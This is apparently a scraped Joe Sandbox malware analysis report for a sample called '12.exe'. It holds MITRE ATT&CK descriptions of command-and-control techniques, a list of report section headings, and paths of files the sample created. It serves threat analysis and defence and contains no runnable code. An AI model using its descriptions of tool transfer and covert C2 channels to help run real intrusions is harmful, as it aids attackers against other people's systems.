Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 12.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

E-Banking Fraud

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.chk

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\5f816d0d-fdd4-4fe2-b8b4-4b6fed665b78.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.6584

Windows Analysis Report
12.exe